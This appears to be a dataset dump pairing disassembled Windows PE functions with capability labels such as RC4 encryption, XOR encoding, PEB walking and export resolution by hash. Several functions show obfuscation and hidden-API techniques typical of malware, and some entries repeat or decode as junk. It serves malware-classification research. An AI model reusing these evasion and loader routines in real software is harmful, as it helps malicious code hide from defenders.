joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e556
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call dword [sym.imp.msvcrt.dll__beginthreadex]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor ecx, ecx
test eax, eax
setne cl
push ecx
call fcn.0040e525
add esp, 0x1c
leave
ret

Function at 0x4100a8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x4100c1
leave
ret
add dword [ebp + 0x10], 5
or dword [ebp + 0xc], 0xffffffff
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea ecx, [edi + ecx - 4]
mov dword [ebp - 4], ecx
lea esi, [eax + edi]
jmp 0x4100e4
mov al, byte [esi]
and al, 0xfe
cmp al, 0xe8
je 0x4100e9
inc esi
cmp esi, dword [ebp - 4]
jb 0x4100db
mov eax, esi
sub eax, edi
cmp esi, dword [ebp - 4]
mov dword [ebp - 8], eax
jae 0x4101dd
mov ecx, eax
sub ecx, dword [ebp + 0xc]
cmp ecx, 3
jbe 0x41011f
xor edx, edx
mov cl, byte [esi + 4]
test cl, cl
mov dword [ebp + 0xc], eax
je 0x41014c
cmp cl, 0xff
je 0x41014c
and edx, 3
shl edx, 1
or edx, 1
inc eax
jmp 0x4100d6
dec ecx
shl edx, cl
and edx, 7
je 0x410105
movzx ecx, byte [edx + 0x4135e0]
mov ebx, esi
sub ebx, ecx
cmp byte [edx + 0x4135d8], 0
mov cl, byte [ebx + 4]
je 0x410147
test cl, cl
je 0x410147
cmp cl, 0xff
jne 0x410105
mov dword [ebp + 0xc], eax
jmp 0x410114
xor ebx, ebx
mov bh, cl
movzx ecx, byte [esi + 2]
mov bl, byte [esi + 3]
shl ebx, 8
or ebx, ecx
movzx ecx, byte [esi + 1]
shl ebx, 8
or ebx, ecx
mov edi, ebx
cmp dword [ebp + 0x18], 0
je 0x410175
lea ebx, [edi + eax]
add ebx, dword [ebp + 0x10]
jmp 0x41017c
sub edi, eax
sub edi, dword [ebp + 0x10]
mov ebx, edi
test edx, edx
je 0x4101b0
movzx edi, byte [edx + 0x4135e0]
push 0x18
shl edi, 3
pop ecx
sub ecx, edi
mov eax, ebx
shr eax, cl
test al, al
je 0x41019b
cmp al, 0xff
jne 0x4101ad
mov eax, dword [ebp - 8]
push 0x20
pop ecx
sub ecx, edi
xor edi, edi
inc edi
shl edi, cl
dec edi
xor edi, ebx
jmp 0x410167
mov eax, dword [ebp - 8]
mov edi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [esi + 2], cl
mov byte [esi + 1], bl
add eax, 5
jmp 0x4100d6
mov esi, eax
sub esi, dword [ebp + 0xc]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x14]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret
Function at 0x410682
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x413680
call fcn.00410630
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
or edi, 0xffffffff
mov dword [ebp - 4], edi
cmp word [0x400000], 0x5a4d
jne 0x4106d6
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4106d6
movzx ecx, word [eax + 0x400018]
cmp ecx, 0x10b
je 0x4106ee
cmp ecx, 0x20b
je 0x4106db
mov dword [ebp - 0x1c], ebx
jmp 0x410705
cmp dword [eax + 0x400084], 0xe
jbe 0x4106d6
xor ecx, ecx
cmp dword [eax + 0x4000f8], ebx
jmp 0x4106ff
cmp dword [eax + 0x400074], 0xe
jbe 0x4106d6
xor ecx, ecx
cmp dword [eax + 0x4000e8], ebx
setne cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 1
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
mov dword [0x416ac4], edi
mov dword [0x416ac8], edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x4166b4]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x4166b0]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x416ac0], eax
call fcn.00410958
cmp dword [0x416510], ebx
jne 0x410762
push fcn.00410958
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.00410946
push 0x4122d4
push 0x4122d0
call sub.msvcrt.dll__initterm
mov eax, dword [0x4166ac]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x4166a8]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x4122cc
push 0x4122a0
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp byte [eax], 0x22
jne 0x4107ed
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x4107cd
cmp cl, 0x22
jne 0x4107be
cmp byte [eax], 0x22
jne 0x4107d6
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x4107e1
cmp cl, 0x20
jbe 0x4107d2
test byte [ebp - 0x54], 1
je 0x4107f8
movzx ecx, word [ebp - 0x50]
jmp 0x4107fb
cmp byte [eax], 0x20
jbe 0x4107d6
inc eax
mov dword [ebp - 0x20], eax
jmp 0x4107ed
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call fcn.0040403f
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x410819
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], edi
jmp 0x410855
mov eax, esi
jmp 0x410869
call fcn.0041066b
ret
Function at 0x50ca751
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x50ccda0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
lea eax, [ebp - 0x108]
push eax
xor edi, edi
push edi
push 0x50c1850
push 0x50c17c4
mov dword [ebp - 0x110], ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x50ca799
mov eax, 0x88760357
jmp 0x50ca894
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call esi
mov dword [ebp - 0x114], eax
cmp eax, 0xffffffff
jne 0x50ca7cd
mov eax, 0x88760361
jmp 0x50ca893
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push ebx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
jne 0x50ca7f5
mov dword [ebp - 0x10c], 0x88760361
jmp 0x50ca841
lea ecx, [ebp - 0x138]
call fcn.050ca43d
lea ecx, [ebp - 0x138]
call fcn.050ca4f0
test eax, eax
jne 0x50ca81b
mov dword [ebp - 0x10c], 0x88760356
jmp 0x50ca833
push dword [ebp - 0x114]
lea ecx, [ebp - 0x138]
push esi
call fcn.050d8f4d
mov dword [ebp - 0x10c], eax
push esi
call ebx
lea ecx, [ebp - 0x138]
call fcn.050ca461
push dword [ebp - 0x114]
call ebx
cmp dword [ebp - 0x10c], edi
jge 0x50ca860
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x50ca88d
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x110]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x50ca88d
mov dword [ebp - 0x10c], 0x88760361
mov eax, dword [ebp - 0x10c]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.050cafc7
leave
ret

Function at 0x50d3487
Capabilities:
Encode data using xor

Disassembly:
call 0x50d3400
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x50d3430
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x50d344c
xor edx, 0
jmp 0x50d3457
xor edx, edx
jmp 0x50d346e
jmp 0x50d347a
xor eax, eax
push 0x8427d7c0
call 0x50d3487
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x50d34c3
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x50d349c
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x50d34da
add eax, 0
jno 0x50d34df
add esi, 0
ret 0x10
Function at 0x50d4248
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x50d426a
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x50d440c
cmp edi, dword [ebp + 0x10]
jb 0x50d440c
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.050d3d34
inc edi
jmp 0x50d42f3
jmp 0x50d4300
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.050d3d34
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.050d3d34
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x50d4354
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x50d4338
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.050d4382
add dword [eax], 0x39
jle 0x50d435e
sub al, 0xf5
mov ch, al
call fcn.050d4397
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x50d606f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x50d6085
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x50d6096
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.050d60d7
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x50d8443
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x50d838c
add ebx, 0
push ecx
call 0x50d83a1
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x71aa636e
sub ebx, dword [0x71ac5bad]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x71ac5b9d
call fcn.050d3e6b
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.050d3379
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x50d84ff
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x50d84ff
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x50d84b6
mov eax, 1
lock xchg dword [0x71ac5ba9], eax
push 0x3dd1fc71
call 0x50d8443
push esi
add esp, 8
cmp eax, 0
jne 0x50d842c
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x50d8452
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x50d8467
cmp ecx, edx
cmp eax, 0
je 0x50d848c
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x50d8476
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.050d84a5
dec eax
loope 0x50d84a8
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x71ac5ba9], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x50d84dc
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x50d84f1
jmp 0x50d84fc
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x50d83ea

Function at 0x50df564
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x50df83a
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x71ab2821
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x71aa97e7
push 0xffffffffffffffff
call fcn.050d6764
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x50df5ce
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.050df5e6
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x50df82e
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x50df802
Function at 0x50ef034
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x50ef056
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x50ef056
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x50ef056
ret
cmp word [ebx + 4], 0x14c
jne 0x50ef056
test word [ebx + 0x16], 2
je 0x50ef056
test word [ebx + 0x16], 0x100
je 0x50ef056
cmp word [ebx + 0x18], 0x10b
jne 0x50ef056
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x50ef056
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x50ef0e2
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x50ef076
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.050d5fc1
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x50ef056
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x50ef0e2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x50ef056
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x50ef056
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x50ef056
ret
cmp word [ebx + 4], 0x14c
jne 0x50ef056
test word [ebx + 0x16], 2
je 0x50ef056
test word [ebx + 0x16], 0x100
je 0x50ef056
cmp word [ebx + 0x18], 0x10b
jne 0x50ef056
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x50ef056
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x50ef0e2
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x50ef076
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.050d5fc1
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x50ef056
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x50ef199
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x50ef1f2
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x50ef199
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x50ef1a8
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x54f4e4b
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x50ef1f9
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.050d606f
cmp eax, dword [ebp + 0xc]
pop eax
je 0x50ef298
add edi, 4
add eax, 2
dec ecx
jne 0x50ef1de
call 0x50ef245
loope 0x50ef23b
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x50ef295
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x50ef2a6
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x50ef259
cmp eax, ecx
ja 0x50ef259
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x50ef2e3
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x50ef2d9
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.050d654e
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x50ef1a8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x50ef1f2
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x50ef199
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x50ef1a8
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x54f4e4b
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x50ef1f9
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.050d606f
cmp eax, dword [ebp + 0xc]
pop eax
je 0x50ef298
add edi, 4
add eax, 2
dec ecx
jne 0x50ef1de
call 0x50ef245
loope 0x50ef23b
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x50ef295
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x50ef2a6
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x50ef259
cmp eax, ecx
ja 0x50ef259
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x50ef2e3
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x50ef2d9
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.050d654e
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401447
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
push esi
push 4
push esi
mov dword [ebp - 4], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
cmp ebx, esi
je 0x4014a4
push edi
push esi
push esi
push esi
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, esi
je 0x40149c
push dword [ebp + 0xc]
push dword [ebp - 4]
push edi
call fcn.004013aa
add esp, 0xc
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4014aa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov byte [ebp - 4], 0x13
mov byte [ebp - 3], 0x35
mov byte [ebp - 2], 0x86
mov byte [ebp - 1], 7
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebx
call fcn.004311d7
mov esi, eax
pop ecx
test esi, esi
je 0x4014f8
xor edx, edx
test ebx, ebx
jbe 0x4014f8
sub edi, esi
mov eax, edx
lea ecx, [edx + esi]
and eax, 3
mov al, byte [ebp + eax - 4]
xor al, byte [edi + ecx]
inc edx
cmp edx, ebx
mov byte [ecx], al
jb 0x4014e2
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404d62
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x404d6e
mov eax, 0x4404e8
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404d82
test al, 0x10
jne 0x404d82
push 1
pop eax
ret
xor eax, eax
ret

Function at 0x4054e4
Capabilities:
Get file size

Disassembly:
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x4054f0
mov eax, 0x4404e8
push esi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
ja 0x40552e
cmp esi, 0xffffffff
je 0x40552a
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40552a
push esi
call eax
xor al, al
jmp 0x405547
mov ecx, dword [esp + 8]
cmp esi, 0xffffffff
mov dword [ecx], eax
je 0x405545
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x405545
push esi
call eax
mov al, 1
pop esi
ret 4
Function at 0x406b54
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00401046
mov ecx, eax
call fcn.0041ef58
mov edi, dword [esp + 0x10]
mov esi, eax
push edi
push dword [esp + 0x18]
shr esi, 0xa
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x406b95
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push esi
push edi
mov ecx, ebx
call fcn.00406bea
test eax, eax
jne 0x406be1
push dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jle 0x406bb1
push esi
push edi
mov ecx, ebx
call fcn.00406bea
test eax, eax
jne 0x406be1
push 0x44dbd0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push esi
push 3
call fcn.00429b39
add esp, 0xc
test eax, eax
jge 0x406be1
push edi
push esi
push 4
call fcn.00429b39
add esp, 0xc
test eax, eax
jge 0x406be1
xor eax, eax
jmp 0x406be4
push 1
pop eax
pop edi
pop esi
pop ebx
ret 8